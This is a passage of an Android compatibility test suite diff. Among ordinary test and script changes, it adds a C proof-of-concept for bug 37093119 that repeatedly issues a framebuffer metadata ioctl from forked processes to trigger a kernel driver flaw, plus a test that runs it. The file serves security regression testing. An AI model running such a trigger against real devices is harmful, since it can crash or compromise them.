+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size)                          \
+  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+#define MSMFB_IOCTL_MAGIC 'm'
+
+struct mdp_pp_feature_version {
+  uint32_t pp_feature;
+  uint32_t version_info;
+};
+#define MSMFB_MDP_PP_GET_FEATURE_VERSION \
+  _IOWR(MSMFB_IOCTL_MAGIC, 171, struct mdp_pp_feature_version)
+
+struct fb_cmap_user {
+  __u32 start; /* First entry	*/
+  __u32 len;   /* Number of entries */
+  __u16 *red;  /* Red values	*/
+  __u16 *green;
+  __u16 *blue;
+  __u16 *transp; /* transparency, can be NULL */
+};
+#define FBIOPUTCMAP 0x4605
+
+/* QSEED3 LUT sizes */
+#define DIR_LUT_IDX 1
+#define DIR_LUT_COEFFS 200
+#define CIR_LUT_IDX 9
+#define CIR_LUT_COEFFS 60
+#define SEP_LUT_IDX 10
+#define SEP_LUT_COEFFS 60
+
+struct mdp_scale_luts_info {
+  uint64_t dir_lut;
+  uint64_t cir_lut;
+  uint64_t sep_lut;
+  uint32_t dir_lut_size;
+  uint32_t cir_lut_size;
+  uint32_t sep_lut_size;
+};
+
+struct mdp_set_cfg {
+  uint64_t flags;
+  uint32_t len;
+  uint64_t payload;
+};
+#define MDP_QSEED3_LUT_CFG 0x1
+
+#define MDP_IOCTL_MAGIC 'S'
+#define MSMFB_MDP_SET_CFG _IOW(MDP_IOCTL_MAGIC, 130, struct mdp_set_cfg)
+
+#define MDP_LAYER_COMMIT_V1_PAD 4
+
+struct mdp_rect {
+  uint32_t x;
+  uint32_t y;
+  uint32_t w;
+  uint32_t h;
+};
+
+enum mdss_mdp_blend_op {
+  BLEND_OP_NOT_DEFINED = 0,
+  BLEND_OP_OPAQUE,
+  BLEND_OP_PREMULTIPLIED,
+  BLEND_OP_COVERAGE,
+  BLEND_OP_MAX,
+};
+
+enum mdp_color_space {
+  MDP_CSC_ITU_R_601,
+  MDP_CSC_ITU_R_601_FR,
+  MDP_CSC_ITU_R_709,
+};
+
+struct mdp_layer_plane {
+  /* DMA buffer file descriptor information. */
+  int fd;
+
+  /* Pixel offset in the dma buffer. */
+  uint32_t offset;
+
+  /* Number of bytes in one scan line including padding bytes. */
+  uint32_t stride;
+};
+
+#define MAX_PLANES 4
+
+struct mult_factor {
+  uint32_t numer;
+  uint32_t denom;
+};
+struct mdp_layer_buffer {
+  uint32_t width;
+  uint32_t height;
+  uint32_t format;
+
+  /* plane to hold the fd, offset, etc for all color components */
+  struct mdp_layer_plane planes[MAX_PLANES];
+
+  /* valid planes count in layer planes list */
+  uint32_t plane_count;
+
+  /* compression ratio factor, value depends on the pixel format */
+  struct mult_factor comp_ratio;
+
+  /*
+   * SyncFence associated with this buffer. It is used in two ways.
+   *
+   * 1. Driver waits to consume the buffer till producer signals in case
+   * of primary and external display.
+   *
+   * 2. Writeback device uses buffer structure for output buffer where
+   * driver is producer. However, client sends the fence with buffer to
+   * indicate that consumer is still using the buffer and it is not ready
+   * for new content.
+   */
+  int fence;
+
+  /* 32bits reserved value for future usage. */
+  uint32_t reserved;
+};
+
+struct mdp_input_layer {
+  uint32_t flags;
+  uint32_t pipe_ndx;
+  uint8_t horz_deci;
+  uint8_t vert_deci;
+  uint8_t alpha;
+  uint16_t z_order;
+  uint32_t transp_mask;
+  uint32_t bg_color;
+
+  /* blend operation defined in "mdss_mdp_blend_op" enum. */
+  enum mdss_mdp_blend_op blend_op;
+
+  /* color space of the source */
+  enum mdp_color_space color_space;
+
+  struct mdp_rect src_rect;
+
+  /*
+   * Destination rectangle, the position and size of image on screen.
+   * This should always be within panel boundaries.
+   */
+  struct mdp_rect dst_rect;
+
+  /* Scaling parameters. */
+  void __user *scale;
+
+  /* Buffer attached with each layer. Device uses it for commit call. */
+  struct mdp_layer_buffer buffer;
+
+  void __user *pp_info;
+  int error_code;
+  uint32_t reserved[6];
+};
+
+struct mdp_output_layer {
+  /*
+   * Flag to enable/disable properties for layer configuration. Refer
+   * layer flag config section for all possible flags.
+   */
+  uint32_t flags;
+
+  /*
+   * Writeback destination selection for output. Client provides the index
+   * in validate and commit call.
+   */
+  uint32_t writeback_ndx;
+
+  /* Buffer attached with output layer. Device uses it for commit call */
+  struct mdp_layer_buffer buffer;
+
+  /* color space of the destination */
+  enum mdp_color_space color_space;
+
+  /* 32bits reserved value for future usage. */
+  uint32_t reserved[5];
+};
+
+struct mdp_layer_commit_v1 {
+  uint32_t flags;
+  int release_fence;
+  struct mdp_rect left_roi;
+  struct mdp_rect right_roi;
+  struct mdp_input_layer __user *input_layers;
+
+  /* Input layer count present in input list */
+  uint32_t input_layer_cnt;
+
+  struct mdp_output_layer __user *output_layer;
+
+  int retire_fence;
+  void __user *dest_scaler;
+  uint32_t dest_scaler_cnt;
+
+  uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
+};
+
+struct mdp_layer_commit {
+  /*
+   * 32bit version indicates the commit structure selection
+   * from union. Lower 16bits indicates the minor version while
+   * higher 16bits indicates the major version. It selects the
+   * commit structure based on major version selection. Minor version
+   * indicates that reserved fields are in use.
+   *
+   * Current supported version is 1.0 (Major:1 Minor:0)
+   */
+  uint32_t version;
+  union {
+    /* Layer commit/validate definition for V1 */
+    struct mdp_layer_commit_v1 commit_v1;
+  };
+};
+
+#define MDP_IOCTL_MAGIC 'S'
+/* atomic commit ioctl used for validate and commit request */
+#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
+
+#define MISR_CRC_BATCH_SIZE 32
+struct mdp_misr {
+  uint32_t block_id;
+  uint32_t frame_count;
+  uint32_t crc_op_mode;
+  uint32_t crc_value[MISR_CRC_BATCH_SIZE];
+};
+
+struct mdp_blend_cfg {
+  uint32_t is_premultiplied;
+};
+
+struct mdp_mixer_cfg {
+  uint32_t writeback_format;
+  uint32_t alpha;
+};
+
+struct mdss_hw_caps {
+  uint32_t mdp_rev;
+  uint8_t rgb_pipes;
+  uint8_t vig_pipes;
+  uint8_t dma_pipes;
+  uint8_t max_smp_cnt;
+  uint8_t smp_per_pipe;
+  uint32_t features;
+};
+
+enum {
+  metadata_op_none,
+  metadata_op_base_blend,
+  metadata_op_frame_rate,
+  metadata_op_vic,
+  metadata_op_wb_format,
+  metadata_op_wb_secure,
+  metadata_op_get_caps,
+  metadata_op_crc,
+  metadata_op_get_ion_fd,
+  metadata_op_max
+};
+
+struct msmfb_metadata {
+  uint32_t op;
+  uint32_t flags;
+  union {
+    struct mdp_misr misr_request;
+    struct mdp_blend_cfg blend_cfg;
+    struct mdp_mixer_cfg mixer_cfg;
+    uint32_t panel_frame_rate;
+    uint32_t video_info_code;
+    struct mdss_hw_caps caps;
+    uint8_t secure_en;
+    int fbmem_ionfd;
+  } data;
+};
+
+#define MSMFB_METADATA_GET _IOW(MSMFB_IOCTL_MAGIC, 166, struct msmfb_metadata)
+
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/poc.c b/hostsidetests/security/securityPatch/Bug-37093119/poc.c
new file mode 100644
index 0000000..781fed7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-37093119/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+int main(int argc, char **argv) {
+  int ret, count;
+  int j = 0;
+  int fd;
+  struct msmfb_metadata data;
+  void *addr;
+  int pc = 3;
+  char driver[32] = {0};
+
+  for (int i = 0; i < 3; i++) {
+    if (snprintf(driver, sizeof(driver), "/dev/graphics/fb%d", i) < 0) {
+      exit(EXIT_FAILURE);
+    }
+    while (pc-- > 0) fork();
+
+    fd = open(driver, O_RDWR, 0);
+    if (fd < 0) {
+      return -1;
+    }
+
+    addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
+    if (addr == MAP_FAILED) {
+      close(fd);
+      return -1;
+    }
+
+    count = 0;
+  retry:
+    memset(&data, 0x0, sizeof(data));
+    data.op = metadata_op_get_ion_fd;
+    ret = ioctl(fd, MSMFB_METADATA_GET, &data);
+
+    close(data.data.fbmem_ionfd);
+    j++;
+    if (j < 10000) {
+      goto retry;
+    }
+
+    munmap(addr, 4096);
+
+    close(fd);
+  }
+  return 0;
+}
diff --git a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
index eccd117..b5a456c 100644
--- a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
@@ -111,7 +111,7 @@
 
     public void testConfigStoreHalHasSeccompFilter() throws DeviceNotAvailableException {
         if (CpuFeatures.isArm64(mDevice)) {
-            assertSeccompFilter("android.hardware.configstore", LSHAL_CMD, true);
+            assertSeccompFilter("android.hardware.configstore", PS_CMD, true);
         }
     }
 
@@ -120,10 +120,6 @@
     }
 
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
-        if (isFullTrebleDevice()) {
-            assertSeccompFilter("android.hardware.media.omx", LSHAL_CMD, true);
-        } else {
-            assertSeccompFilter("media.codec", PS_CMD, false);
-        }
+        assertSeccompFilter("media.codec", PS_CMD, false);
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index 77a8f7b..7dc371a 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -99,7 +99,7 @@
     public static boolean enableLibcMallocDebug(String processName, ITestDevice device) throws Exception {
         device.executeShellCommand("setprop libc.debug.malloc.program " + processName);
         device.executeShellCommand("setprop libc.debug.malloc.options \"backtrace guard\"");
-        String cmdOut = device.executeShellCommand("ps | fgrep " + processName);
+        String cmdOut = device.executeShellCommand("ps -A | fgrep " + processName);
         Scanner s = new Scanner(cmdOut);
         if(!s.hasNextInt()) {
             CLog.w("Could not find pid for process: " + processName);
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_10.java b/hostsidetests/security/src/android/security/cts/Poc17_10.java
index 8b5cbc6..533a2ec 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_10.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_10.java
@@ -31,4 +31,15 @@
           AdbUtils.runPocNoOutput("Bug-62058746", getDevice(), 60);
         }
     }
+
+    /**
+     * b/37093119
+     */
+    @SecurityTest
+    public void testPocBug_37093119() throws Exception {
+        enableAdbRoot(getDevice());
+        if (containsDriver(getDevice(), "/dev/graphics/fb*")) {
+          AdbUtils.runPocNoOutput("Bug-37093119", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
index 5452cde..7f4a5fd 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
@@ -326,6 +326,7 @@
 
     public void testTurnScreenOnAttrRemove() throws Exception {
         sleepDevice();
+        mAmWmState.waitForAllStoppedActivities(mDevice);
         String logSeparator = clearLogcat();
         launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
         mAmWmState.computeState(mDevice, new String[] {
@@ -334,6 +335,7 @@
         assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
 
         sleepDevice();
+        mAmWmState.waitForAllStoppedActivities(mDevice);
         logSeparator = clearLogcat();
         launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
         assertFalse(isDisplayOn());
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index 57658f9..9e5f4b8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -386,7 +386,7 @@
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
 
         // Verify that activity brought to front is in originally requested orientation.
-        mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
         assertEquals("Should return to app in landscape orientation",
                 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
     }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
index cb346bd..2ba142a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
@@ -27,6 +27,7 @@
     private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
 
     private static final String TEST_ACTIVITY = "TestActivity";
+    private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
     private static final String DOCKED_ACTIVITY = "DockedActivity";
     private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
     private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
@@ -217,7 +218,8 @@
                 .mTaskId;
 
         // Launch a new fullscreen activity
-        launchActivity(TEST_ACTIVITY);
+        // Using Animation Test Activity because it is opaque on all devices.
+        launchActivity(ANIMATION_TEST_ACTIVITY);
         mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
 
         // Launch the assistant again and ensure that it goes into the same task
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
index 2e5b4ff..a54ed19 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
@@ -213,6 +213,26 @@
         } while (retriesLeft-- > 0);
     }
 
+    void waitForAllStoppedActivities(ITestDevice device) throws Exception {
+        int retriesLeft = 5;
+        do {
+            mAmState.computeState(device);
+            if (mAmState.containsStartedActivities()){
+                log("***Waiting for valid stacks and activities states...");
+                try {
+                    Thread.sleep(1500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertFalse(mAmState.containsStartedActivities());
+    }
+
     void waitForHomeActivityVisible(ITestDevice device) throws Exception {
         waitForValidState(device, mAmState.getHomeActivityName());
     }
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
index c1706de..65098fb 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
@@ -44,6 +44,7 @@
     public static final String STATE_RESUMED = "RESUMED";
     public static final String STATE_PAUSED = "PAUSED";
     public static final String STATE_STOPPED = "STOPPED";
+    public static final String STATE_DESTROYED = "DESTROYED";
 
     public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
 
@@ -278,6 +279,20 @@
         return false;
     }
 
+    boolean containsStartedActivities() {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (!activity.state.equals(STATE_STOPPED)
+                            && !activity.state.equals(STATE_DESTROYED)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
     boolean hasActivityState(String activityName, String activityState) {
         String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
         for (ActivityStack stack : mStacks) {
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
index 46c9b03..7f899c2 100755
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
           package="android.server.FrameTestApp">
-    <application>
+    <application android:theme="@android:style/Theme.Material">
         <activity android:name=".DialogTestActivity"
                 android:exported="true"
         />
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 7859784..960b41f 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -93,15 +93,18 @@
         super.tearDown();
     }
 
-    private void doBackup() throws DeviceNotAvailableException {
+    private void doBackup() throws Exception {
         CLog.i("Backing up package android...");
 
-        executeShellCommandWithLog("dumpsys backup");
+        waitUntilBroadcastsDrain(); // b/64203677
 
+        CLog.i("Making sure the local transport is selected...");
         assertContainsRegex(
-                "LocalTransport must be selected.",
-                "\\*.*LocalTransport",
-                executeShellCommandWithLog("bmgr list transports"));
+                "^Selected transport android/com.android.internal.backup.LocalTransport",
+                executeShellCommandWithLog(
+                        "bmgr transport android/com.android.internal.backup.LocalTransport"));
+
+        executeShellCommandWithLog("dumpsys backup");
 
         assertContainsRegex(
                 "Wiped",
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 64ca416..4f93e5a 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -30,33 +30,42 @@
 I. Generating reference images (CTS maintainers only)
 
 Reference images are typically only generated for new API revisions. To
-generate a new set of reference images, do the following:
+generate a new set of reference images from an emulator, do the following:
 
-  1. Obtain the emulator image for the current platform. You can either build
-     these from scratch (not recommended) via:
+  1. Ensure the Android SDK is installed locally. Either a public or internal
+     distribution is fine. From the console, set the ANDROID_SDK_ROOT env var:
 
-     make PRODUCT-sdk_phone_x86_64-sdk sdk_repo -j32
+     export ANDROID_SDK_ROOT = /path/to/sdk
 
-     Or obtain them from the sdk-repo-linux-system-images-<build-id>.zip
-     artifact from the sdk_phone_x86_64-sdk build server target.
+  2. Obtain an x86_64 emulator image from the build server by using the script
+     available internally at go/emu-dev. This script will install the image in
+     your SDK.
 
-  2. Start one AVD emulator image for each DPI bucket (ldpi, xxxhdpi, etc.)
-     that you wish to generate references images for. Anecdotally, up to three
-     emulators can run reliably at the same time. Confirm that all emulators
-     are connected with:
+  3. Use the SDK's AVD Manager tool to create a single virtual device using the
+     emulator image from step 2. The exact configuration doesn't really matter;
+     you can use Nexus 5 as a template. Name the emulator "theme_emulator".
 
-     adb devices
-
-  3. Set up your build environment for x86_64 and build CTS:
+  4. From the console, set up your build environment for x86_64 and build CTS:
 
      lunch sdk_x86_64-eng && make cts -j32
 
-  2. Generate the reference images. Generation occurs on all devices in
-     parallel. Resulting sets of reference images are automatically saved in
-     assets/<platform>/<dpi>.zip and will overwrite any existing sets. Image
-     generation may be started using:
+  5. Use the reference image script to generate the reference images. The script
+     will automatically start the emulator in the required configurations and
+     install the resulting reference images in assets/<platform>/<dpi>.zip,
+     overwriting any existing images.
 
-     ./cts/hostsidetests/theme/generate_images.sh
+     ./cts/hostsidetests/theme/generate_images.py theme_emulator
+
+You can also generate reference images using a real device. To generate a new set
+of reference images from a real device, do the following:
+
+  1. Connect the device. Verify the device is connected:
+
+     adb devices
+
+  2. Use the reference image script to generate the reference images:
+
+     ./cts/hostsidetests/theme/generate_images.py
 
 A complete collection of reference images for a given API revision must include
 a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 4c7d8d1..7711060 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/python3
 #
 # Copyright (C) 2015 The Android Open Source Project
 #
@@ -17,106 +17,119 @@
 
 import os
 import re
+import subprocess
 import sys
 import threading
-import subprocess
 import time
 
+from subprocess import PIPE
+
+
 # class for running android device from python
 # it will fork the device processor
-class androidDevice(object):
-    def __init__(self, adbDevice):
-        self._adbDevice = adbDevice
+class AndroidDevice(object):
+    def __init__(self, serial):
+        self._serial = serial
 
-    def runAdbCommand(self, cmd):
-        self.waitForAdbDevice()
-        adbCmd = "adb -s %s %s" %(self._adbDevice, cmd)
-        print adbCmd
-        adbProcess = subprocess.Popen(adbCmd.split(" "), bufsize = -1, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
-        return adbProcess.communicate()
+    def run_adb_command(self, cmd, timeout=None):
+        adb_cmd = "adb -s %s %s" % (self._serial, cmd)
+        print(adb_cmd)
 
-    def runShellCommand(self, cmd):
-        return self.runAdbCommand("shell " + cmd)
+        adb_process = subprocess.Popen(args=adb_cmd.split(), bufsize=-1, stderr=PIPE, stdout=PIPE)
+        (out, err) = adb_process.communicate(timeout=timeout)
+        return out.decode('utf-8').strip(), err.decode('utf-8').strip()
 
-    def waitForAdbDevice(self):
-        print "waitForAdbDevice"
-        os.system("adb -s %s wait-for-device" %self._adbDevice)
+    def run_shell_command(self, cmd):
+        return self.run_adb_command("shell %s" % cmd)
 
-    def waitForBootComplete(self, timeout = 240):
+    def wait_for_device(self, timeout=30):
+        return self.run_adb_command('wait-for-device', timeout)
+
+    def wait_for_prop(self, key, value, timeout=30):
         boot_complete = False
         attempts = 0
-        wait_period = 5
+        wait_period = 1
         while not boot_complete and (attempts*wait_period) < timeout:
-            (output, err) = self.runShellCommand("getprop dev.bootcomplete")
-            output = output.strip()
-            if output == "1":
+            (out, err) = self.run_shell_command("getprop %s" % key)
+            if out == value:
                 boot_complete = True
             else:
                 time.sleep(wait_period)
                 attempts += 1
         if not boot_complete:
-            print "***boot not complete within timeout. will proceed to the next step"
+            print("%s not set to %s within timeout!" % (key, value))
         return boot_complete
 
-    def installApk(self, apkPath):
-        (out, err) = self.runAdbCommand("install -r -d -g " + apkPath)
-        result = err.split()
-        return (out, err, "Success" in result)
+    def wait_for_service(self, name, timeout=30):
+        service_found = False
+        attempts = 0
+        wait_period = 1
+        while not service_found and (attempts*wait_period) < timeout:
+            (output, err) = self.run_shell_command("service check %s" % name)
+            if 'not found' not in output:
+                service_found = True
+            else:
+                time.sleep(wait_period)
+                attempts += 1
+        if not service_found:
+            print("Service '%s' not found within timeout!" % name)
+        return service_found
 
-    def uninstallApk(self, package):
-        (out, err) = self.runAdbCommand("uninstall " + package)
-        result = err.split()
+    def wait_for_boot_complete(self, timeout=60):
+        return self.wait_for_prop('dev.bootcomplete', '1', timeout)
+
+    def install_apk(self, apk_path):
+        self.wait_for_service('package')
+        (out, err) = self.run_adb_command("install -r -d -g %s" % apk_path)
+        result = out.split()
+        return out, err, "Success" in result
+
+    def uninstall_package(self, package):
+        self.wait_for_service('package')
+        (out, err) = self.run_adb_command("uninstall %s" % package)
+        result = out.split()
         return "Success" in result
 
-    def runInstrumentationTest(self, option):
-        return self.runShellCommand("am instrument -w --no-window-animation " + option)
+    def run_instrumentation_test(self, option):
+        self.wait_for_service('activity')
+        return self.run_shell_command("am instrument -w --no-window-animation %s" % option)
 
-    def isProcessAlive(self, processName):
-        (out, err) = self.runShellCommand("ps")
+    def is_process_alive(self, process_name):
+        (out, err) = self.run_shell_command("ps")
         names = out.split()
         # very lazy implementation as it does not filter out things like uid
         # should work mostly unless processName is too simple to overlap with
         # uid. So only use name like com.android.xyz
-        return processName in names
+        return process_name in names
 
-    def getVersionSdkInt(self):
-        return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+    def get_version_sdk(self):
+        return int(self.run_shell_command("getprop ro.build.version.sdk")[0])
 
-    def getVersionCodename(self):
-        return self.runShellCommand("getprop ro.build.version.codename")[0].strip()
+    def get_version_codename(self):
+        return self.run_shell_command("getprop ro.build.version.codename")[0].strip()
 
-    def getDensity(self):
-        if "emulator" in self._adbDevice:
-          return int(self.runShellCommand("getprop qemu.sf.lcd_density")[0])
+    def get_density(self):
+        if "emulator" in self._serial:
+            return int(self.run_shell_command("getprop qemu.sf.lcd_density")[0])
         else:
-          return int(self.runShellCommand("getprop ro.sf.lcd_density")[0])
+            return int(self.run_shell_command("getprop ro.sf.lcd_density")[0])
 
-    def getSdkLevel(self):
-        return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+    def get_orientation(self):
+        return int(self.run_shell_command("dumpsys | grep SurfaceOrientation")[0].split()[1])
 
-    def getOrientation(self):
-        return int(self.runShellCommand("dumpsys | grep SurfaceOrientation")[0].split()[1])
 
-    # Running dumpsys on the emulator currently yields a SIGSEGV, so don't do it.
-    #
-    #def getHWType(self):
-    #    (output, err) = self.runShellCommand("dumpsys | grep android.hardware.type")
-    #    output = output.strip()
-    #    return output
-
-def runAdbDevices():
+def enumerate_android_devices(require_prefix=''):
     devices = subprocess.check_output(["adb", "devices"])
-    devices = devices.split('\n')[1:]
+    if not devices:
+        return []
 
-    deviceSerial = []
+    devices = devices.decode('UTF-8').split('\n')[1:]
+    device_list = []
 
     for device in devices:
-        if device is not "":
+        if device is not "" and device.startswith(require_prefix):
             info = device.split('\t')
             if info[1] == "device":
-                deviceSerial.append(info[0])
+                device_list.append(info[0])
 
-    return deviceSerial
-
-if __name__ == '__main__':
-    main(sys.argv)
+    return device_list
diff --git a/hostsidetests/theme/assets/27/360dpi.zip b/hostsidetests/theme/assets/27/360dpi.zip
index 80b0527..ee3465a 100644
--- a/hostsidetests/theme/assets/27/360dpi.zip
+++ b/hostsidetests/theme/assets/27/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/420dpi.zip b/hostsidetests/theme/assets/27/420dpi.zip
index 2d3f70b..6b46161 100644
--- a/hostsidetests/theme/assets/27/420dpi.zip
+++ b/hostsidetests/theme/assets/27/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/560dpi.zip b/hostsidetests/theme/assets/27/560dpi.zip
index 88d481e..cd3b7e2 100644
--- a/hostsidetests/theme/assets/27/560dpi.zip
+++ b/hostsidetests/theme/assets/27/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/hdpi.zip b/hostsidetests/theme/assets/27/hdpi.zip
index 68702ef..f2c95ed 100644
--- a/hostsidetests/theme/assets/27/hdpi.zip
